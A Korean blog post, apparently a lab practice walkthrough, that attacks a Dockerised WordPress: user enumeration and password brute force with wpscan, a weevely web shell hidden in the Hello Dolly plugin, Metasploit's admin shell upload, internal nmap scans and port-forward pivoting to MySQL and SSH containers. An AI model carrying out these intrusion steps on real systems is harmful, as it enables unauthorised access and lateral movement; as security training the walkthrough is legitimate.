본문 바로가기
클라우드 취약점 진단 및 대응 실무

클라우드 기반 취약점 분석 및 대응 실무 [ 세 번째 정리 ]

by 할 수 있다 ! 2024. 5. 7.

안녕하세요 ! 

 

이번 글은 클라우드 기반 취약점 분석 및 대응 실무 세 번째 정리를 해보려고 합니다. 

 

바로 시작하도록 하겠습니다. 

 

 

1. 도커 컨테이너 취약점 분석 사례 

 

도커 컨테이너의 취약점은 다양한 형태로 나타날 수 있습니다.

 

이미지 취약점, 컨테이너 간 통신 보안 문제, 호스트 시스템 보안 결함 등이 포함될 수 있습니다. 

 

1. 이미지 취약점 : 컨테이너 이미지에 포함된 악성 코드나 취약점이 발견될 수 있습니다. 예를 들어, 과거에는 도커 허브와 같은 공개 이미지 저장소에서 다운로드한 이미지에 악성 코드가 포함되어 있었던 사례가 있습니다. 개발자가 신뢰할 수 있는 소스에서 이미지를 가져오는 것이 중요합니다. 

 

2. 권한 문제 : 컨테이너는 가상화된 환경을 제공하지만 호스트 시스템과의 권한 문제로 인해 보안 취약점이 발생할 수 있습니다. 예를 들어서 컨테이너가 호스트의 민감한 파일 시스템에 액세스 하거나 특정 권한을 가진 프로세스를 실행하는 경우 보안 문제가 발생할 수 있습니다. 

 

3. 컨테이너 간 통신 보안 : 여러 컨테이너가 동일한 호스트에서 실행될 때, 컨테이너 간 통신이 안전하게 이루어지지 않을 경우 보안 취약점이 발생할 수 있습니다. 컨테이너 간의 네트워크 트래픽을 암호화 하고 접근 제어를 설정함으로써 이것을 방지할 수 있습니다. 

 

4. 호스트 시스템 보안 결함 : 호스트 시스템에 있는 취약점은 컨테이너에도 영향을 미칠 수 있습니다. 예를 들어서 호스트 시스템에서 실행 중인 다른 컨테이너에 악성 사용자가 액세스 하여서 보안 취약점을 이용할 수 있습니다. 

 

이러한 취약점을 방지하기 위해서는 적절한 이미지 보안 및 관리, 컨테이너 간의 격리, 호스트 시스템의 보안 강화 등이 필요합니다. 또한, 취약점을 모니터링 하고 적시에 업데이트 하여서 보안 상태를 유지해야 합니다. 

 

그러면 취약점 분석 및 사례에 대해 실습을 진행하도록 하겠습니다. 

 

 

$ sudo nikto -h http://192.168.5.136:8000 를 입력했을 때 

 

/wp-content/plugins/hello.php 를 접근을 시도했습니다.  

 

 

접근은 가능한데 파라미터가 없다 보니까 오류가 발생하지만 /var/www/html/wp-content/plugins/hello.php

절대 경로들을 확인할 수 있다는 것이 하나의 취약점일 수도 있습니다. 우선은 페이지가 접근이 가능하다는 것을 알 수 있습니다.  나중에 페이지에 악성코드를 주입할 수 있습니다. 

 

 

$ sudo wpscan --url http://192.168.5.136:8000 -e ap -e at -e u

 

 

명령어를 입력해서 wpscan 워드프레스 보안 취약점을 검사하는 도구를 사용합니다. --url 은 http://192.168.5.136:8000 대상으로 하고 -e ap 는 모든 플러그인을 검사합니다. 그리고  -e at 는 모든 테마를 검사합니다. -e u 는 사용자 정보를 검색합니다. 

 

플러그인, 테마 및 사용자 관련 취약점을 찾아내려고 합니다. 만약 이 URL 이 외부에서 접근 가능한 경우에는 주의가 필요합니다. 워드프레스는 공격자의 공격 대상이 될 수 있고 이러한 도구를 통해서 시스템의 보안 취약점을 발견하려는 공격을 방어하는 것이 중요합니다. 

 

[i] User(s) Identified:

[+] bob
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.218.137:8000/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

 

사용자를 알아냈습니다. 

 

 

 

bob 이라는 사용자를 발견하였고 이것을 알게 되었냐면 json 형식을 통해서 알게 되었습니다. 

page 숫자를 바꾸어서 데이터 정보를 알아낼 수 있는데 1페이지만 가능하다는 것을 확인하였습니다. 

 

 

$ sudo wpscan --url http://192.168.218.137:8000/ --usernames bob --passwords /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt

 

wpscan 이라는 도구를 사용해서 WordPress 사이트에 대한 사용자 'bob'  과 일반적인 암호 목록을 사용하여 무차별 대입 공격을 수행하려는 것 같습니다. --url 대상 WordPress 사이트의 URL 을 지정합니다. --username 사용자명을 지정합니다. 여기서는 'bob' 이라는 사용자명이 사용됩니다. --passwords 암호 목록 파일의 경로를 지정합니다. 이 경우 /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt 파일이 사용됩니다.

 

결국에는 이 명령어는 워드프레스 사이트에 대한 무차별 대입 공격을 시도하는 것 입니다. 

 

 

사용자 아이디는 bob 이고 비밀번호는 Welcome1 이라는 것을 확인할 수 있었습니다. 

 

 

 

그러면 로그인 창에서 아이디 bob 비밀번호 Welcome1 를 입력하면 로그인 하는 것을 볼 수 있습니다. 

 

 

 

이제부터 시스템에 침투하는 과정들을 하겠습니다. 

 

내부에 플로그인 취약점을 하고 플러그인에 파일 업로드 취약점을 하는 것과

기존 플러그인에 악성코드를 삽입 (RCE) 를 해서 공격을 할 수 있습니다. 

 

 

 

 

$ sudo weevely generate hacker shell.php 명령어를 사용해서 악성파일을 생성합니다. 

 

weevely 는 웹쉘 업로드 <----------------- 세션 연결 (공격자) 입니다. 

 

 

Weevely 는 웹 쉘 백도어로 분류되는 작은 프로그램 입니다. 이 도구는 웹 서버에 쉘을 제공하고 웹 애플리케이션을 해킹하기 위해 사용될 수 있습니다. 주로 웹 애플리케이션의 취약점을 통해서 서버에 접근하고 제어하기 위해 사용됩니다. 

 

Weevely 는 PHP 로 작성되었으며, 공격자가 액세스하고 명령을 실행할 수 있는 웹 서버에 배포될 수 있습니다. 이것은 공격자에게 편리한 백도어 제어 패널을 제공합니다. Weevely 를 사용하면 웹 서버에 원격으로 명령을 실행하고 파일을 다운로드 하거나 업로드 할 수 있습니다. 또한, 백도어를 사용하여 명령을 실행하고 시스템에서 정보를 수집할 수도 있습니다. 

 

 

 

$ cat shell.php 명령어를 사용해서 shell.php 내용을 출력합니다. 그리고 출력한 내용을 복사합니다. 

 

 

플러그인 에디터에 접속해서 Hello Dolly 로 검색을 한 뒤에 몰래 악성코드를 넣어야 하니까  ?> 으로 마무리를 하고 그 아이에 복사했던 shell.php 내용을 붙여넣기 합니다. 

 

 

 

그리고 다시 새롭게 시작하는  <? php 를 입력해서 들키지 않게 합니다.

 

업데이트를 하면 웹쉘 업로드가 되는 동시에 세션 연결 ( 공격자 ) 는 연결을 하면서 시스템에 침투할 수 있습니다. 

 

 

 

 

$ sudo weevely http://192.168.218.137:8000/wp-content/plugins/hello.php hacker 명령어를 사용해서 연결을 합니다. 

 

weevely 를 사용해서 원격으로 웹 쉘 백도어를 배포하기 위해서 입니다. 

 

 

help 명령어를 입력하면 /var/www/html 가 뜹니다. 

 

 

system_info 를 입력하면 시스템에 침투한 결과들을 볼 수 있습니다. 

 

 

리눅스 명령어 ls -al 를 입력하니까 된다는 것은 이미 침투를 했기 때문에 리눅스 명령어가 먹힌다는 것 입니다. 

 

 

www-data@ " 해시값 " 을 보았을 때 도커라는 것을 알 수 있습니다. 

 

 

프로세스들을 관리할 수 있는 디렉토리 입니다.

 

이것이 나중에 침해 사고 분석할 때도 프로세스라고 하는 디렉토리를 굉장히 많이 봅니다. 

 

proc 메모리 명령어 침해 사고 분석

 

 

 

cd 1 을 입력해서 ls -al 명령어를 현재 디렉토리의 파일 및 디렉토리 목록을 출력합니다. 

 

 

cat cgroup 을 입력해서 파일을 확인하면 그룹들이 도커라고 해서 도커 컨테이너 정보들이 나오는 것을 알 수 있습니다. 

 

 

도커 컨테이너는 권한이 다릅니다. sudo 권한을 할 수 없어 취약점을 이용할 수 없습니다.

 

 

그리고 깃허브에서 다운 받은 파일을 다운로드 이동하면 nmap 다운 받은 파일을 확인할 수 있습니다. 

 

프로그램 설치 ?? 이미 바이너리 형식으로 되어 있는 프로그램 가져와야 한다. 

 

-> 버전 정보 ?!! 일치해야 동작이 된다. 

 

리눅스에서는 모든 사용자들이 저장할 수 있는 공간이 있습니다. 

 

 

 

file_upload /home/kali/Downloads/nmap /tmp/nmap 을 입력하면 nmap 파일을 업로드할 수 있는데

저는 이미 파일이 있다고 떠서 바로 ls 명령어를 입력해서 nmap 을 확인할 수 있습니다. 

 

file_upload /home/kali/Downloads/nmap /tmp/nmap 은 파일을 업로드하는 명령어 입니다.

여기서 /home/kali/Downloads/nmap 은 원본 파일의 경로이고 /tmp/nmap 은 대상 위치 입니다.

 

 

현재는 제가 권한을 바꾸었기 때문에 -rwxr-xr-x 으로 nmap 의 권한을 확인할 수 있지만 원래는 ./nmap 을 입력하면 권한이 거부된다는 것을 확인할 수 있는데 이럴 때 chmod +x nmap 명령어를 입력해서 권한을 바꿀 수 있습니다. 

 

 

권한을 부여하고 나서 ./nmap 을 입력하면 실행 파일을 실행할 수 있습니다.

 

 

ip addr 을 입력해서 도커 안이라는 것을 이미 확인을 하였습니다. 그러면 이번에는 포트 스캔을 사용해서 이 똑같은 IP 대역에서 활성화 되어 있는지 활성화 되어 있지 않은지 확인할 수 있습니다. 

 

 

./nmap 172.18.0.0/24 을 입력하면 4개의 호스트가 포트 22(TCP)에 SSH 서비스, 172.18.0.2는 포트 3306(TCP)에 MySQL 서비스, 172.18.0.3은 포트 80(TCP)에 HTTP 서비스를 실행 중임을 보여줍니다.

 

 

 

cd /var/www/html 을 입력해서 ls 명령어로 목록을 확인하면 wp-config.php 가 있는 것을 확인할 수 있습니다. 

 

 

cat config.php 명령어를 입력하면 데이터베이스의 커넥션 정보를 확인할 수 있습니다. 

 

여기서 터널링 공격 ( 포트 포워딩 ) 을 통해서 공격을 할 수 있습니다.

 

victim --- ssh 서버 -- 공격자 !!! 

 

 

 

이제 $ sudo msfconsole 을 입력해서 공격 준비를 합니다. 

 

 

공격 코드가 엄청 많은데 바로 앞에 auxiliary/scanner/http/wordpress_xmlrpc_login 가 보이는 것을 확인할 수 있습니다. 

 

 

search wordpress_xmlrpc 를 입력해서 use 0 번을 정확히 선택합니다. 

 

 

show options 명령어를 입력하면 채워 넣어야 할 정보들이 많은 것을 볼 수 있습니다.

 

 

set RHOSTS 192.168.5.136

 

set RPORT 8000, set PASS_FILE /home/kali/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt

 

set USERNAME bob

 

set PASSWORD Welcome1 

 

명령어를 입력하면 와이어 샤크에 로그들이 기록되는 것을 볼 수 있습니다. 

 

 

 

현재 와이어 샤크에서 http 아무거나 tcp 스트림을 클릭해서 확인해본 결과는 XML-RPC 요청을 나타내는 것인데 XML 을 사용하여서 서버 간의 정보를 교환하는 프로토콜 입니다. 이 요청은 WordPress 의 XML-RPC API 를 사용해서 "wp.getUsers" 메서드를 호출하려는 것 입니다. 

 

 

  1. <?xml version="1.0" encoding="iso-8859-1"?>: XML 선언부로, XML 문서의 버전 및 인코딩을 지정합니다.
  2. <methodCall>: XML-RPC 요청의 시작을 나타내는 요소입니다.
  3. <methodName>wp.getUsers</methodName>: 호출하려는 메서드의 이름을 나타내는 요소입니다. 여기서는 "wp.getUsers" 메서드를 호출하려는 것 입니다. 
  4. <params>: 메서드에 전달할 매개변수의 목록을 포함하는 요소입니다.
  5. <param>: 매개변수의 값을 나타내는 요소입니다. 이 경우에는 세 개의 매개변수가 있습니다.
    • <value>1</value>: 첫 번째 매개변수는 숫자 1입니다.
    • <value>bob</value>: 두 번째 매개변수는 문자열 "bob"입니다. 이것은 사용자 이름입니다. 
    • <value>Welcome1</value>: 세 번째 매개변수는 문자열 "Welcome1"입니다. 이것은 비밀번호 입니다. 

 

 

search wordpress admin 을 입력하면 exploit/unix/webapp/wp_admin_shell_upload 를 확인할 수 있는데 use 2 로 설정합니다.

 

 

호스트랑 포트 유저 네임 패스워드까지 설정하면 됩니다. 

 

 

공격에 성공한 것을 확인할 수 있습니다. 

 

이번에는 터널링 공격 ( 포트 포워딩 ) 을 하려고 합니다. 

 

 

지금 제가 들어온 곳은 172.18.0.3 인데 여기서 172.18.0.2 로 터널링 공격을 해보려고 합니다. 

 

공격자 --- victim ( 웹서버 X ) ----- 근접 네트워크 ( IP: PORT )

 

 

portfwd add -l 5555 -p 3306 -r 172.18.0.2 명령어로 3306번 포트로 전달합니다. 

 

이 명령어는 포트 포워딩을 설정하는 것 입니다. 포트 포워딩은 네트워크에서 특정 포트로 들어오는 연결을 다른 포트나 다른 IP 주소로 전달하는 프로세스 입니다. 이것은 일반적으로 네트워크 보안, 원격 액세스 및 네트워크 서비스 사용에 사용됩니다. 

 

portfwd add : 포트 포워딩을 추가하는 명령어 입니다. 

 

-l 5555 : 로컬 포트를 지정하는 옵션으로 5555번 포트를 로컬 포트로 설정합니다. 

 

-p 3306 : 전달할 포트를 지정하는 옵션으로 3306 번 포트를 선택합니다. 

 

-r 172.18.0.2 : 원격 주소를 지정하는 옵션으로 172.18.0.2 에 포트를 포워딩 합니다. 

 

결과적으로 이 명령은 로컬 시스템의 5555번 포트로 들어오는 연결을 172.18.0.2 의 3306 번 포트로 전달합니다. 

 

 

 

파이어폭스에서 localhost : 5555 를 입력하면 공격에 성공한 것을 확인할 수 있습니다. 

 

 

cd tmp 디렉토리에서 ./nmap 172.18.0.0/24 -p- 를 입력하면 숨겨진 포트까지 확인할 수 있습니다. 

 

 

8022 포트가 tcp open 으로 되어 있는 것을 볼 수 있습니다. 

 

 

그래서 curl 172.18.0.4:8022 를 입력하면 HTML 으로 설정되어 있는 것을 확인할 수 있습니다. 

 

 

portfwd add -l 8022 -p 8022 -r 172.18.0.4 으로 지정해서 전달합니다. 

 

 

최종적으로 데이터베이스에 접속한 것을 알 수 있습니다. 

 

도커 컨테이너 내에서 SSH 연결이 성공적으로 설정되었음을 나타냅니다. 이것은 도커 컨테이너에 대한 SSH 액세스를 활성화 했고 이제 해당 컨테이너를 SSH 를 통해 접속할 수 있다는 것을 의미합니다. 

 

컨테이너 이름은 content_db_1 이며, 컨테이너 내에서는 IP 주소는 172.18.0.2 입니다. SSH 연결이 지정된 후 컨테이너 쉘에서 ip addr 명령어를 실행한 결과가 표시되었습니다. 

 

 

 

공격자가 포트 포워딩을 했는데 접속하니까 막상 8022 포트가 실제 데이터베이스를 웹서비스 웹 SSH 서비스로 운영할 수 있던 도커입니다. 

 

 

결과적으로 현재 컨테이너 내에서 작업하고 있으며 네트워크 인터페이스 및 IP 주소를 확인할 수 있습니다. 

 

 

 

이번에는 nmap 을 사용해서 어떤식으로 공격이 가능한지 한번 더 살펴보도록 하겠습니다. 

 

 

$ sudo nmap -sV -sC 192.168.218.137 -p-

 

 

외부에서 2375 라는 포트를 공격할 수 있습니다. 

 

1. 첫 번째 줄은 content_db_1이라는 이름의 컨테이너입니다. MySQL 5.7 이미지를 사용하고 있으며, 컨테이너가 실행될 때는 docker-entrypoint.sh라는 스크립트를 실행합니다. 이 컨테이너는 MySQL 서비스를 위해 3306번 포트를 사용하고 있습니다.

 

2. 두 번째 줄은 content_ssh_1이라는 이름의 컨테이너입니다. jeroenpeeters/docker-ssh 이미지를 사용하고 있으며, 컨테이너가 실행될 때는 npm start 명령어를 실행합니다. 이 컨테이너는 SSH 서비스를 제공하기 위해 22번 포트와 8022번 포트를 사용하고 있습니다.

 

이렇게 도커 컨테이너 취약점 분석 사례에 대해 실습을 해보았습니다. 

 

긴 글 읽어주셔서 감사합니다 ! 

 

끝